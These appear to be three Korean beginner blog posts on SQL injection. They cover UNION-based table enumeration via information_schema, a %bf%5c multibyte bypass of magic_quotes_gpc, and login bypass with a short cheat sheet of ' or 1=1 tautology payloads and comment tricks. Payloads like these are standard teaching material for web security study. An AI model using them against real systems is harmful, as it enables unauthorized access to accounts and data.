Union이란 것은 SQL에서 한개 이상의 쿼리문을 실행할때 사용하는 함수다.

Select id, pwd from user where id='admin' union select id,pwd from user where id='guest';

이렇게 실행하게 된다.

보통 Union SQL Injection을 많이 사용하게 되는 환경은 게시판의 형태다

보통 게시판에 작성자, 제목,내용,시간등을 넣게 되는데 이때의 컬럼수는 4개다.

Union SQL Injection의 특징은 먼저 앞에서 실행되는 

Select id, pwd from user where id='admin' 이 쿼리문과 뒤에 추가하게 되는 쿼리문의 컬럼 수가 같아야 한다는 점이다.




위에서 현재 게시판을 담고

있는 테이블의 컬럼수는 9인것을 알 수 있다. 내가 설계했으니까 핳 먼저 0번 idx를 호출하면 아무값도 나오지 않는다 존재하지 않는 게시판 번호이기 때문이다. 여기에 union select 1,1,1,1,1,1,1,1,1 구문을 날리게 되면 SQL 쿼리의 결과값을 담은 배열에 1만 9개가 들어가게 된다. 떄문에 1만 출력 되는 것이다. 만약 여기서 DB 전체에 대한 구조를 알고 싶다면 천천히 DB명 부터 뺴오면 된다.




database()라는 것은 현재 자신의 DB명을 불러오는 것이다.

즉 현재 게시판 테이블이 포함되어 있는 DB는 syssecu 라는 DB다.


그 외에도 PHP 에는 예약 상수라는 것이 있다 


PHP_VERSION ()

은 현재 PHP 버전에 대한 값은 반환하는 PHP 예약상수다. 

관련 정보

http://php.net/manual/kr/reserved.constants.php


여기서 이제 테이블명을 알고 싶으면 DB의 구조에 대해서 좀더 자세하게 알아야 한다.

MySQL에는 information_schema라는 DB가 있다. 어... 쉽게 표현하자면 메타 데이터에 대한 메타데이터 라고 표현 할 수 있다. 

즉 DB의 모든 정보를 함축하고 있는 것이다. Information_schema에 대해서는 후에 자세하게 분석한 문서를 올리겠다.


사실 지금까지 웹해킹을 공부하면서 문서를 써놓은게 아니라 대충 요약 정리만 해놓아서 글쓰기 굉장히 힘들다. 

스샷도 찍어야 한다. 아오


자 이제

더 자세한 정보를 털어보자 




쉽게 설명하자면 현재 syssecu라는 DB에 있는 모든 Table 명을 뽑아온것이다.

group_concat이라는 함수는 문자열을 묶어주는 함수라고 보면 된다.


즉 현재 syssecu DB 안에는 3가지 테이블이 존재한다. 딱봐도 게시판은 board다.




자 현재 board 라는 테이블은 9가지 컬럼을 갖고 있다. 

이런 식으로 DB에 있는 정보를 순차적으로 빼올때 유용한 것이 union SQL Injection이다. 

만약 다른 테이블에 접근 할 수 있다면 user 테이블에 있는 정보도 빼올 수 있을 것이다. 


물론 이건 Union SQL Injection의 완전 생기초다 기본적인 필터링도 모두 지워논 상태다

더 어려운 내용들은 기억나는 대로 추가하겠습니다.

아 정리하기 귀찮다....









'Web Hacking' 카테고리의 다른 글

useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24
SQL Injection 1  (0) 2015.08.15

보통 많은 개발자들이 SQL Injection을 막기위해 Magic_Quotes_gpc라는 PHP의 옵션을 사용했었다.

'나 sql injection에 사용되는 특수문자의 앞에 \를 추가해서 필터링 하는 방식이었다. 

하지만 magic_quotes_gpc에는 취약점이 많았다. 

GET/POST/Cookie로 받는 방식만 필터링을 했었다. 또한 DB에서 가져오는 값에서는 escaping 되지 않았기 

때문에 많은 사람들이 magic_quotes_gpc기능을 끄고 mysql_real_escape_string함수를 사용하는 편이 더 안전하다고 추천한다. 하지만 아직은 많은 사람들이 magic_quotes_gpc를 믿고 있다. 또한 많은 개발자들이

magic_quotes_gpc만 믿어서 그런진 몰라도 PHP 5.4 부터는 아예 삭제되었다. 


magic_quotes_gpc를 우회하는 가장 쉬운방법은 멀티바이트 인코딩을 사용하는 것이다.

mb_convert_encoding이라는 함수를 사용하는 환경에서만 가능하다. 언어셋을 바꾸는 함수이다.

만약 magic_quotes_gpc가 on 되어있는 서버에 인젝션을 날리게 되면

1\' 이렇게 인식한다. 


그런데 여기에다가 %bf%5C라는 값을 넣어주면은 우회가 된다.

%bf%5c라는 값을 한글자로 인식해버린다. %5c는 \이다 %bf%5c%27에서 \를 무시해버려서 우회가 가능하다.


addslashes()라는 함수도 있다. 하지만 이 함수도 비슷한 방법으로 우회가 가능하다.


때문에 인젝션을 막을떄는 addslashes()나 magic_quotes_gpc등을 믿지말고

mysql_real_escap_string함수를 사용하는 것이 가장 안전하다. 


 그외에도 다양한 내용이 있지만 기억나는대로 추가하겠습니다.



'Web Hacking' 카테고리의 다른 글

useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 1  (0) 2015.08.15

SQL Injection은 DataBase에서 사용되는 SQL(Structure Query Language)이라는 언어에서 발견되는 취약점입니다.

일반적으로 SQL을 알기 위해선 그 전에 DataBase에 대해서 기본지식이 있어야 합니다.

먼저 DataBase 라는 것은 정보의 집합체입니다. 보통 개인적으로 공부하는 사람들은 MySQL을 쓰기떄문에 MySQL 문법 위주로 설명할겁니다.


MySQL 내에는 다양한 DataBase가 존재합니다.


mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |

| mysql              |

| performance_schema |

| user               |

+--------------------+

4 rows in set (0.00 sec)



일단 현재 제 DB에는 4가지 DB가 있습니다.  그 중에서 user라는 DataBase를 사용합니다.

이 user라는 DB안에는 Table 이라는 개념이 존재합니다. 쉽게 말하자면 우리가 사용하는 윈도우상의 '폴더'라고 보면 됩니다. 



현재 라이브러리 라는 DataBase 안에는 문서, 비디오, 사진, 음악이라는 Table들이 있는거죠


현재 user DatBase 안의 Table구조는 밑과 같습니다. 


mysql> show tables;

+----------------+

| Tables_in_user |

+----------------+

| member         |

+----------------+

1 row in set (0.01 sec)


그리고 이 member라는 테이블은 다음과 같은 구조를 이루고 있습니다.


mysql> desc member;

+-------+-------------+------+-----+---------+-------+

| Field | Type        | Null | Key | Default | Extra |

+-------+-------------+------+-----+---------+-------+

| ID    | varchar(15) | YES  |     | NULL    |       |

| PW    | varchar(15) | YES  |     | NULL    |       |

+-------+-------------+------+-----+---------+-------+

2 rows in set (0.00 sec)



현재 member라는 테이블은 ID와 PW라는 컬럼을 가지고 있습니다.

두개의  컬럼은 VARCHAR이라는 속성을 갖고 있는데 C언어로 치자면 문자열 자료형 입니다. 15라는 숫자는 들어갈 수 있는 최대 문자열의 길이입니다. 물론 다양한 자료형을 갖고있습니다. int, text 등등....그 외에도 Key 라는 개념이 있지만 나중에 설명하기로 하죠.  DB는 파다보면 끝이 없어요 하핳


mysql> select * from member;

+-------+----------+

| ID    | PW       |

+-------+----------+

| admin | P@ssw0rd |

+-------+----------+

1 row in set (0.00 sec)


현재 member Table 안에 들어있는 정보입니다. 간단한 ID와 PW정보가 들어있습니다.


보통 SQL Injection 이 가장 많이 사용되는 곳은 로그인 부분입니다.

여러분이 웹페이지에 ID와 PW를 검색하면 웹 서버는 DB에다가 물어봅니다. 이 때 쿼리문을 날리게 되는데 

이해를 돕기위해 가장 쉬운 쿼리문을 사용해 봅시다.


SELECT * FROM member where ID='admin' AND PW='P@ssw0rd';

이런식으로 ID는 admin이면서 PW는 P@ssw0rd인 값을 찾습니다.

만약 여러분이 ID나 PW가 틀린다면 결과값은 없으므로 로그인을 못하게 됩니다. 


하지만 SQL Injection은 간단한 논리적 오류를 이용하여 이것을 우회할 수 있습니다.

만약 여러분이 ' or '1'='1 이라는 값을 PW에 넣게 된다면


SELECT * FROM member where ID='admin' AND PW=''or '1'='1';

이런 쿼리문이 완성되게 됩니다. 이 쿼리를 실행하면 다음과 같은 결과를 얻습니다.


mysql> SELECT * FROM member where ID='admin' AND PW=''or '1'='1';

+-------+----------+

| ID    | PW       |

+-------+----------+

| admin | P@ssw0rd |

+-------+----------+

1 row in set (0.00 sec)


왜 이렇게 되느냐, 먼저 and 연산은 둘다 참이면 참을 반환하고 or은 둘 중 하나만 참이어도 참을 반환합니다.

아 참고로 C언어에서는 컴퓨터는 0이 아닌 모든값을 참으로 인식합니다.


그러면 저 쿼리문은 


ID='admin' AND PW=' ' or '1'='1';


뜯어보면 PW부분에 아무것도 없습니다. ' ' 따옴표 2개만 있죠 비어있습니다. 저기에 아무 값이나 넣어도 상관없습니다.

근데 뒷부분을 보녀  or '1'='1'이라고 되어있죠 PW라는 값에다가  ' ' 과 '1'='1' 이라는 값을 or 연산한 값을 넣습니다. 

1=1 이기 떄문에 오른쪽은 참이되고 왼쪽은 뭐 거짓이라고 칩시다 참과 거짓을 or 연산했으므로 참이 됩니다. 

즉 PW값을 참 즉 어떤 비밀번호가 들어오던 옳은 PW라고 인식을 하게됩니다. 그리고 ID하고 AND 연산을 하게되니 결과값은 

admin의 비밀번호를 가져올 수 있게 되는것이죠 .

이것이 SQL Injection의 가장 기본이 되는 논리적 오류를 이용한 공격입니다. 물론 말도 안될만큼 초보적인 부분입니다. 하핳


이것을 위한 Cheet Sheat 도 많아요. 사실 이렇게 간단한 공격은 수도 없이 많아서 다 적을수가 없습니다만 많이 쓰이는 것들로...


or 1=1

'or 1=1

*or 1=1 

or 1=1-

'or 1=1-

"or 1=1-

or 1=1#

'or 1=1#

"OR

1=1#

OR 1=1/*

'or 1=1/"


"or 1=1/" 

or 1=1;%00

' or 1=1;%00 

"or 1=1;%00

'or '

'or

'or'-

'or -

or a=a

하아하아 너무 많아서 다 못적어요 아 저기서 -- 와 # 과 ;%00 그리고 /*는 MySQL에서 주석을 뜻합니다.

쿼리문에서 주석을사용하면 이렇게 됩니다.

mysql> select * from member where ID='admin'#'' AND PW='fsdfsd';

    -> ;

+-------+----------+

| ID    | PW       |

+-------+----------+

| admin | P@ssw0rd |

+-------+----------+

1 row in set (0.00 sec)


ID는 admin인데 뒤에 PW를 비교하는 부분을 주석처리해서 전부 무효화 시켜버리니 로그인에 성공하겠죠. 하핳

다음 글은 다음에 쓸게요 그럼 20000













'Web Hacking' 카테고리의 다른 글

useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24

+ Recent posts